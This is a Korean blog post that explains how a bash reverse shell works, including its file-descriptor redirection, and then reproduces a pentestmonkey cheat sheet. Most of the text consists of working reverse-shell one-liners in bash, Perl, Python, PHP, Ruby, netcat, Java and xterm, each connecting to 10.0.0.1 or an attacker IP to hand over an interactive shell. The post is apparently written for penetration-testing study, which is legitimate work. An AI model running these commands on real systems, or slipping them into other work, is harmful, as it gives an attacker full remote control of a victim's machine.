Sh4n3e
Reverse Shell에 대한 설명 본문
Reverse Shell에 대한 정보는 아래의 사이트를 통해서 볼 수 있다.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
그럼 오늘은 일반적으로 '사용하기만' 했던 Reverse Shell 구문의 의미에 대해서 알아보도록 하자.
보통 Revese Shell은 Attacker가 Victim쪽으로 접속하기 위해서 Victim쪽에서 Attacker쪽으로 Shell을 열어주는 것을 의미한다.
Attacker 쪽에서는 일반적으로 nc명령어(Netcat)을 이용하여 listening 상태로 만들어주고, Victim쪽에서 Reverse Shell을 열어줌으로써
Attacker는 Shell을 건네받아 시스템을 완전히 장악하는 용도로 사용한다.
ex)
Attacker 측 : nc -lvp 8080
Victim 측 : bash -i >& /dev/tcp/attacker_IP/attacker_open_port 0>&1
그렇다면 가장 일반적으로 사용하는 bash reverse shell에 의미에 대해서 좀 더 알아보도록 하자.
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
해당 구문은
1: bash -i
2: >& /dev/tcp/10.0.0.1/8080
3: 0>&1
으로 나눠서 볼 수 있다.
bash -i는 bash shell의 i옵션을 사용한 것으로 i옵션은 대화형(interactive)모드로 사용하겠다는 의미이다.
>& /dev/tcp/10.0.0.1/8080 은 위의 bash shell을 tcp 10.0.0.1:8080으로 redirect 하겠다는 의미이며
0>&1 은 표준 입력을 전달한 곳으로 표준 출력을 전달한다는 의미가 된다.
해당 부분은 파일디스크립터라고 한다. 이런 파일디스크립터에는 3가지가 존재하는데, 그것은 아래와 같다.
(그냥 어떤 종류가 존재하는지만 대충 눈으로 파악해주자)
파일디스크립터 |
설명 |
0 |
표준입력 |
1 |
표준출력 |
2 |
표준에러 |
뒤로는 다양한 종류의 Reverse Shell에 대해서 다양한 형태로 보여주고 있다.
(사실 위의 파일디스크립터를 사용하는 등 큰 틀은 같다는 것을 알 수 있을 것이다.)
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
[Untested submission from anonymous reader]
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
출처 : pentestmonkey